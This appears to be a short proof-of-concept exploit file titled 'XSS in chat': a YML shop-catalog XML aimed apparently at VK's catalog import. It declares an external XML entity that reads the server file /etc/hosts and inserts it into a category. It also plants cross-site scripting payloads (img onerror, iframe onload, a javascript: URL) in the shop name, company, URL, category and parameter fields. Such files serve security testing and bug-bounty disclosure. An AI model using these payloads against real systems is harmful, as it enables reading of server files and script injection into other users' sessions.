XSS в чате

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/hosts"> ]>
 <yml_catalog date="2021-04-01 12:20">
   <shop>
     <name>vk.com?'/"><img/src=x/onerror=alert();></name>
     <company>vk.com?'/"><img/src=x/onerror=alert();></company>
     <url>javascript:alert();//</url>
     <currencies>
       <currency id="RUB" rate="1"/>
     </currencies>
     <categories>
       <category id="1">&ent;</category>
       <category id="243">Стикеры кот'\"><img src=x onerror=alert();>ики</category>
       <category id="3">Стикеры пёсики</category>
     </categories>
     <offers>
       <offer id="30125845454553d941-1" available="true" group_id="3012845391">
         <price>12</price>
         <currencyId>RUB</currencyId>
         <categoryId>1</categoryId>
         <categoryId>2</categoryId>
 		<categoryId>243</categoryId>
         <name>dssddsdd1s</name>
         <description>Этfdот яркий и смелый кот dsdsdsdssdотлично дополнит любое ваше сообщение</description>
         <param name="Цвsdsddssddssdd<iframe onload=alert();>>">Цвеdsтной</param>
         <picture>https://vk.com/sticker/51635/512.png</picture>
       </offer>
     </offers>
   </shop>
 </yml_catalog>